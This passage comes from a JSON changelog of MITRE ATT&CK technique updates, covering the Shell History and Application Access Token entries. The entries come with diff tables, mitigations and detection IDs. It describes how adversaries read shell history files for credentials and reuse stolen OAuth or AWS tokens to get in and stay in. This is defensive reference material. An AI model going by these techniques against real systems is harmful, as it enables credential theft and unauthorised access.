nowrap=\"nowrap\">.mitre.org/techniques/T1110)&nbsp;the&nbsp;passphrase&nbsp;off-line.&nbsp;These&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mitre.org/techniques/T1110)&nbsp;the&nbsp;passphrase&nbsp;off-line.&nbsp;These&nbsp;p</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">private&nbsp;keys&nbsp;can&nbsp;be&nbsp;used&nbsp;to&nbsp;authenticate&nbsp;to&nbsp;[Remote&nbsp;Services</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rivate&nbsp;keys&nbsp;can&nbsp;be&nbsp;used&nbsp;to&nbsp;authenticate&nbsp;to&nbsp;[Remote&nbsp;Services]</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">](https://attack.mitre.org/techniques/T1021)&nbsp;like&nbsp;SSH&nbsp;or&nbsp;for</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(https://attack.mitre.org/techniques/T1021)&nbsp;like&nbsp;SSH&nbsp;or&nbsp;for&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;use&nbsp;in&nbsp;decrypting&nbsp;other&nbsp;collected&nbsp;files&nbsp;such&nbsp;as&nbsp;email.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">use&nbsp;in&nbsp;decrypting&nbsp;other&nbsp;collected&nbsp;files&nbsp;such&nbsp;as&nbsp;email.</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1022: Restrict File and Directory Permissions",
                            "M1027: Password Policies",
                            "M1041: Encrypt Sensitive Information",
                            "M1047: Audit"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0549: Detect Suspicious Access to Private Key Files and Export Attempts Across Platforms"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--8187bd2a-866f-4457-9009-86b0ddedffa3",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-02-04 13:02:11.685000+00:00",
                    "modified": "2026-11-04 03:25:33.482000+00:00",
                    "name": "Shell History",
                    "description": "Adversaries may search the command history on compromised systems for insecurely stored credentials.\n\nOn Linux and macOS systems, shells such as Bash and Zsh keep track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user's history file. For each user, this file resides at the same location: for example, `~/.bash_history` or `~/.zsh_history`. Typically, these files keep track of the user's last 1000 commands.\n\nOn Windows, PowerShell has both a command history that is wiped after the session ends, and one that contains commands used in all sessions and is persistent. The default location for persistent history can be found in `%userprofile%\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt`, but command history can also be accessed with `Get-History`. Command Prompt (CMD) on Windows does not have persistent history.(Citation: Microsoft about_History)(Citation: Medium)\n\nUsers often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials.(Citation: External to DA, the OS X Way)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "credential-access"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1552/003",
                            "external_id": "T1552.003"
                        },
                        {
                            "source_name": "External to DA, the OS X Way",
                            "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved September 12, 2024.",
                            "url": "https://www.slideshare.net/slideshow/external-to-da-the-os-x-way/62021418"
                        },
                        {
                            "source_name": "Medium",
                            "description": "Michael Koczwara. (2021, March 14). Windows privilege escalation via PowerShell History. Retrieved June 13, 2025.",
                            "url": "https://michaelkoczwara.medium.com/windows-privilege-escalation-dbb908cce8d4"
                        },
                        {
                            "source_name": "Microsoft about_History",
                            "description": "Microsoft. (2024, January 19). about_History. Retrieved June 13, 2025.",
                            "url": "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7.5"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Raja Singh (raja-singh-r3v-sh3ll)",
                        "Avioo360"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Linux",
                        "macOS",
                        "Windows"
                    ],
                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 03:25:33.482000+00:00\", \"old_value\": \"2025-10-24 17:49:02.375000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may search the command history on compromised systems for insecurely stored credentials.\\n\\nOn Linux and macOS systems, shells such as Bash and Zsh keep track of the commands users type on the command-line with the \\\"history\\\" utility. Once a user logs out, the history is flushed to the user's history file. For each user, this file resides at the same location: for example, `~/.bash_history` or `~/.zsh_history`. Typically, these files keep track of the user's last 1000 commands.\\n\\nOn Windows, PowerShell has both a command history that is wiped after the session ends, and one that contains commands used in all sessions and is persistent. The default location for persistent history can be found in `%userprofile%\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\PowerShell\\\\PSReadline\\\\ConsoleHost_history.txt`, but command history can also be accessed with `Get-History`. Command Prompt (CMD) on Windows does not have persistent history.(Citation: Microsoft about_History)(Citation: Medium)\\n\\nUsers often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials.(Citation: External to DA, the OS X Way)\", \"old_value\": \"Adversaries may search the command history on compromised systems for insecurely stored credentials.\\n\\nOn Linux and macOS systems, shells such as Bash and Zsh keep track of the commands users type on the command-line with the \\\"history\\\" utility. Once a user logs out, the history is flushed to the user's history file. For each user, this file resides at the same location: for example, `~/.bash_history` or `~/.zsh_history`. Typically, these files keeps track of the user's last 1000 commands.\\n\\nOn Windows, PowerShell has both a command history that is wiped after the session ends, and one that contains commands used in all sessions and is persistent. The default location for persistent history can be found in `%userprofile%\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\PowerShell\\\\PSReadline\\\\ConsoleHost_history.txt`, but command history can also be accessed with `Get-History`. Command Prompt (CMD) on Windows does not have persistent history.(Citation: Microsoft about_History)(Citation: Medium)\\n\\nUsers often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials.(Citation: External to DA, the OS X Way)\", \"diff\": \"--- \\n+++ \\n@@ -1,6 +1,6 @@\\n Adversaries may search the command history on compromised systems for insecurely stored credentials.\\n \\n-On Linux and macOS systems, shells such as Bash and Zsh keep track of the commands users type on the command-line with the \\\"history\\\" utility. Once a user logs out, the history is flushed to the user's history file. For each user, this file resides at the same location: for example, `~/.bash_history` or `~/.zsh_history`. Typically, these files keeps track of the user's last 1000 commands.\\n+On Linux and macOS systems, shells such as Bash and Zsh keep track of the commands users type on the command-line with the \\\"history\\\" utility. Once a user logs out, the history is flushed to the user's history file. For each user, this file resides at the same location: for example, `~/.bash_history` or `~/.zsh_history`. Typically, these files keep track of the user's last 1000 commands.\\n \\n On Windows, PowerShell has both a command history that is wiped after the session ends, and one that contains commands used in all sessions and is persistent. The default location for persistent history can be found in `%userprofile%\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\PowerShell\\\\PSReadline\\\\ConsoleHost_history.txt`, but command history can also be accessed with `Get-History`. Command Prompt (CMD) on Windows does not have persistent history.(Citation: Microsoft about_History)(Citation: Medium)\\n \"}}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to75__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to75__0\"><a href=\"#difflib_chg_to75__top\">t</a></td><td class=\"diff_header\" id=\"from75_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;search&nbsp;the&nbsp;command&nbsp;history&nbsp;on&nbsp;compromised&nbsp;sy</td><td class=\"diff_next\"><a href=\"#difflib_chg_to75__top\">t</a></td><td class=\"diff_header\" id=\"to75_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;search&nbsp;the&nbsp;command&nbsp;history&nbsp;on&nbsp;compromised&nbsp;sy</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">stems&nbsp;for&nbsp;insecurely&nbsp;stored&nbsp;credentials.&nbsp;&nbsp;On&nbsp;Linux&nbsp;and&nbsp;macOS</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">stems&nbsp;for&nbsp;insecurely&nbsp;stored&nbsp;credentials.&nbsp;&nbsp;On&nbsp;Linux&nbsp;and&nbsp;macOS</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;systems,&nbsp;shells&nbsp;such&nbsp;as&nbsp;Bash&nbsp;and&nbsp;Zsh&nbsp;keep&nbsp;track&nbsp;of&nbsp;the&nbsp;comm</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;systems,&nbsp;shells&nbsp;such&nbsp;as&nbsp;Bash&nbsp;and&nbsp;Zsh&nbsp;keep&nbsp;track&nbsp;of&nbsp;the&nbsp;comm</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ands&nbsp;users&nbsp;type&nbsp;on&nbsp;the&nbsp;command-line&nbsp;with&nbsp;the&nbsp;\"history\"&nbsp;utili</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ands&nbsp;users&nbsp;type&nbsp;on&nbsp;the&nbsp;command-line&nbsp;with&nbsp;the&nbsp;\"history\"&nbsp;utili</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ty.&nbsp;Once&nbsp;a&nbsp;user&nbsp;logs&nbsp;out,&nbsp;the&nbsp;history&nbsp;is&nbsp;flushed&nbsp;to&nbsp;the&nbsp;user</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ty.&nbsp;Once&nbsp;a&nbsp;user&nbsp;logs&nbsp;out,&nbsp;the&nbsp;history&nbsp;is&nbsp;flushed&nbsp;to&nbsp;the&nbsp;user</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">'s&nbsp;history&nbsp;file.&nbsp;For&nbsp;each&nbsp;user,&nbsp;this&nbsp;file&nbsp;resides&nbsp;at&nbsp;the&nbsp;sam</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">'s&nbsp;history&nbsp;file.&nbsp;For&nbsp;each&nbsp;user,&nbsp;this&nbsp;file&nbsp;resides&nbsp;at&nbsp;the&nbsp;sam</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;location:&nbsp;for&nbsp;example,&nbsp;`~/.bash_history`&nbsp;or&nbsp;`~/.zsh_histor</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;location:&nbsp;for&nbsp;example,&nbsp;`~/.bash_history`&nbsp;or&nbsp;`~/.zsh_histor</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y`.&nbsp;Typically,&nbsp;these&nbsp;files&nbsp;keep<span class=\"diff_sub\">s</span>&nbsp;track&nbsp;of&nbsp;the&nbsp;user's&nbsp;last&nbsp;10</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y`.&nbsp;Typically,&nbsp;these&nbsp;files&nbsp;keep&nbsp;track&nbsp;of&nbsp;the&nbsp;user's&nbsp;last&nbsp;100</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">00&nbsp;commands.&nbsp;&nbsp;On&nbsp;Windows,&nbsp;PowerShell&nbsp;has&nbsp;both&nbsp;a&nbsp;command&nbsp;hist</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">0&nbsp;commands.&nbsp;&nbsp;On&nbsp;Windows,&nbsp;PowerShell&nbsp;has&nbsp;both&nbsp;a&nbsp;command&nbsp;histo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ory&nbsp;that&nbsp;is&nbsp;wiped&nbsp;after&nbsp;the&nbsp;session&nbsp;ends,&nbsp;and&nbsp;one&nbsp;that&nbsp;conta</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ry&nbsp;that&nbsp;is&nbsp;wiped&nbsp;after&nbsp;the&nbsp;session&nbsp;ends,&nbsp;and&nbsp;one&nbsp;that&nbsp;contai</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ins&nbsp;commands&nbsp;used&nbsp;in&nbsp;all&nbsp;sessions&nbsp;and&nbsp;is&nbsp;persistent.&nbsp;The&nbsp;def</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ns&nbsp;commands&nbsp;used&nbsp;in&nbsp;all&nbsp;sessions&nbsp;and&nbsp;is&nbsp;persistent.&nbsp;The&nbsp;defa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ault&nbsp;location&nbsp;for&nbsp;persistent&nbsp;history&nbsp;can&nbsp;be&nbsp;found&nbsp;in&nbsp;`%userp</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ult&nbsp;location&nbsp;for&nbsp;persistent&nbsp;history&nbsp;can&nbsp;be&nbsp;found&nbsp;in&nbsp;`%userpr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rofile%\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadl</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ofile%\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadli</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ine\\ConsoleHost_history.txt`,&nbsp;but&nbsp;command&nbsp;history&nbsp;can&nbsp;also&nbsp;b</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ne\\ConsoleHost_history.txt`,&nbsp;but&nbsp;command&nbsp;history&nbsp;can&nbsp;also&nbsp;be</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;accessed&nbsp;with&nbsp;`Get-History`.&nbsp;Command&nbsp;Prompt&nbsp;(CMD)&nbsp;on&nbsp;Windo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;accessed&nbsp;with&nbsp;`Get-History`.&nbsp;Command&nbsp;Prompt&nbsp;(CMD)&nbsp;on&nbsp;Window</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ws&nbsp;does&nbsp;not&nbsp;have&nbsp;persistent&nbsp;history.(Citation:&nbsp;Microsoft&nbsp;abo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;does&nbsp;not&nbsp;have&nbsp;persistent&nbsp;history.(Citation:&nbsp;Microsoft&nbsp;abou</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ut_History)(Citation:&nbsp;Medium)&nbsp;&nbsp;Users&nbsp;often&nbsp;type&nbsp;usernames&nbsp;an</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t_History)(Citation:&nbsp;Medium)&nbsp;&nbsp;Users&nbsp;often&nbsp;type&nbsp;usernames&nbsp;and</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;passwords&nbsp;on&nbsp;the&nbsp;command-line&nbsp;as&nbsp;parameters&nbsp;to&nbsp;programs,&nbsp;w</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;passwords&nbsp;on&nbsp;the&nbsp;command-line&nbsp;as&nbsp;parameters&nbsp;to&nbsp;programs,&nbsp;wh</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hich&nbsp;then&nbsp;get&nbsp;saved&nbsp;to&nbsp;this&nbsp;file&nbsp;when&nbsp;they&nbsp;log&nbsp;out.&nbsp;Adversar</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ich&nbsp;then&nbsp;get&nbsp;saved&nbsp;to&nbsp;this&nbsp;file&nbsp;when&nbsp;they&nbsp;log&nbsp;out.&nbsp;Adversari</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ies&nbsp;can&nbsp;abuse&nbsp;this&nbsp;by&nbsp;looking&nbsp;through&nbsp;the&nbsp;file&nbsp;for&nbsp;potential</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es&nbsp;can&nbsp;abuse&nbsp;this&nbsp;by&nbsp;looking&nbsp;through&nbsp;the&nbsp;file&nbsp;for&nbsp;potential&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;credentials.(Citation:&nbsp;External&nbsp;to&nbsp;DA,&nbsp;the&nbsp;OS&nbsp;X&nbsp;Way)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">credentials.(Citation:&nbsp;External&nbsp;to&nbsp;DA,&nbsp;the&nbsp;OS&nbsp;X&nbsp;Way)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1028: Operating System Configuration"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0385: Detect Access and Parsing of .bash_history Files for Credential Harvesting"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-01-30 17:37:22.261000+00:00",
                    "modified": "2026-11-03 23:33:28.615000+00:00",
                    "name": "Application Access Token",
                    "description": "Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used to access resources in cloud, container-based applications, and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) \n\nOAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\n\nFor example, with a cloud-based email service, once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim\u2019s primary email, the adversary may be able to extend access to all other services to which the target subscribes by triggering forgotten password routines. In AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account.(Citation: Google Cloud Service Account Credentials)(Citation: AWS Temporary Security Credentials) The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured \u2013 for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.(Citation: Rhino Security Labs Enumerating AWS Roles)\n\nDirect API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords.  For example, in AWS environments, an adversary who compromises a user\u2019s AWS API credentials may be able to use the `sts:GetFederationToken` API call to create a federated user session, which will have the same permissions as the original user but may persist even if the original user credentials are deactivated.(Citation: Crowdstrike AWS User Federation Persistence) Additionally, access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "lateral-movement"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1550/001",
                            "external_id": "T1550.001"
                        },
                        {
                            "source_name": "Crowdstrike AWS User Federation Persistence",
                            "description": " Vaishnav Murthy and Joel Eng. (2023, January 30). How Adversaries Can Persist with AWS User Federation. Retrieved March 10, 2023.",
                            "url": "https://www.crowdstrike.com/blog/how-adversaries-persist-with-aws-user-federation/"
                        },
                        {
                            "source_name": "Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019",
                            "description": "Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019.",
                            "url": "https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/"
                        },
                        {
                            "source_name": "AWS Temporary Security Credentials",
                            "description": "AWS. (n.d.). Requesting temporary security credentials. Retrieved April 1, 2022.",
                            "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html"
                        },
                        {
                            "source_name": "Microsoft Identity Platform Access 2019",
                            "description": "Cai, S., Flores, J., de Guzman, C., et. al.. (2019, August 27). Microsoft identity platform access tokens. Retrieved October 4, 2019.",
                            "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens"
                        },
                        {
                            "source_name": "Google Cloud Service Account Credentials",
                            "description": "Google Cloud. (2022, March 31). Creating short-lived service account credentials. Retrieved April 1, 2022.",
                            "url": "https://cloud.google.com/iam/docs/creating-short-lived-service-account-credentials"
                        },
                        {
                            "source_name": "okta",
                            "description": "okta. (n.d.). What Happens If Your JWT Is Stolen?. Retrieved September 12, 2019.",
                            "url": "https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen"
                        },
                        {
                            "source_name": "Rhino Security Labs Enumerating AWS Roles",
                            "description": "Spencer Gietzen. (2018, August 8). Assume the Worst: Enumerating AWS Roles through \u2018AssumeRole\u2019. Retrieved April 1, 2022.",
                            "url": "https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration"
                        },
                        {
                            "source_name": "Staaldraad Phishing with OAuth 2017",
                            "description": "Stalmans, E.. (2017, August 2). Phishing with OAuth and o365/Azure. Retrieved October 4, 2019.",
                            "url": "https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Blake Strom, Microsoft Threat Intelligence",
                        "Dylan Silva, AWS Security",
                        "Ian Davila, Tidal Cyber",
                        "Jack Burns, HubSpot",
                        "Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)",
                        "Mark Wee",
                        "Pawel Partyka, Microsoft Threat Intelligence",
                        "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)",
                        "Shailesh Tiwary (Indian Army)"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Containers",
                        "IaaS",
                        "Identity Provider",
                        "Office Suite",
                        "SaaS"
                    ],
                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 23:33:28.615000+00:00\", \"old_value\": \"2026-05-12 15:12:00.723000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials.\\n\\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used to access resources in cloud, container-based applications, and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) \\n\\nOAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\\n\\nFor example, with a cloud-based email service, once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \\\"refresh\\\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\\n\\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim\\u2019s primary email, the adversary may be able to extend access to all other services to which the target subscribes by triggering forgotten password routines. In AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account.(Citation: Google Cloud Service Account Credentials)(Citation: AWS Temporary Security Credentials) The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured \\u2013 for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.(Citation: Rhino Security Labs Enumerating AWS Roles)\\n\\nDirect API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords.  For example, in AWS environments, an adversary who compromises a user\\u2019s AWS API credentials may be able to use the `sts:GetFederationToken` API call to create a federated user session, which will have the same permissions as the original user but may persist even if the original user credentials are deactivated.(Citation: Crowdstrike AWS User Federation Persistence) Additionally, access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.\", \"old_value\": \"Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials.\\n\\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used to access resources in cloud, container-based applications, and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) \\n\\nOAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\\n\\nFor example, with a cloud-based email service, once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \\\"refresh\\\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\\n\\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim\\u2019s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. In AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account.(Citation: Google Cloud Service Account Credentials)(Citation: AWS Temporary Security Credentials) The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured \\u2013 for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.(Citation: Rhino Security Labs Enumerating AWS Roles)\\n\\nDirect API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords.  For example, in AWS environments, an adversary who compromises a user\\u2019s AWS API credentials may be able to use the `sts:GetFederationToken` API call to create a federated user session, which will have the same permissions as the original user but may persist even if the original user credentials are deactivated.(Citation: Crowdstrike AWS User Federation Persistence) Additionally, access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.\", \"diff\": \"--- \\n+++ \\n@@ -6,6 +6,6 @@\\n \\n For example, with a cloud-based email service, once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a 